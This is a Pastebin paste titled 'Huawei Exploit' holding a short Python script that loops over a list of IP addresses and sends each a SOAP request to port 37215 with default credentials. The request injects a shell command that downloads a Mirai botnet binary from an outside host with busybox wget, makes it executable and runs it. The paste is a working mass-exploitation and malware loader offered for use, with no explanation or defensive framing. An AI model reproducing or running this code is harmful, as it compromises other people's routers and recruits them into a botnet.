KhaosBringer

Huawei Exploit

May 24th, 2018
431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.12 KB | None | 0 0
  1. #! python !#
  2. import threading, sys, time, random, socket, re, os, struct, array, requests
  3. from requests.auth import HTTPDigestAuth
  4. ips = open(sys.argv[1], "r").readlines()
  5. cmd = "/bin/busybox wget -g ghost.lspmodz.ml -l /tmp/.leet -r /bins/mirai.mips; chmod 777 /tmp/.leet; /tmp/.leet huawei"
  6. rm = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$("+cmd+")>NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
  7.  
  8.  
  9. class exploit(threading.Thread):
  10.         def __init__ (self, ip):
  11.             threading.Thread.__init__(self)
  12.             self.ip = str(ip).rstrip('\n')
  13.         def run(self):
  14.             try:
  15.                 url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
  16.                 requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config','admin'), data=rm)
  17.                 print "[HUAWEI] Loading " + self.ip
  18.             except Exception as e:
  19.                 pass
  20. for ip in ips:
  21.     try:
  22.         n = exploit(ip)
  23.         n.start()
  24.         time.sleep(0.03)
  25.     except:
  26.         pass
Add Comment
Please, Sign In to add comment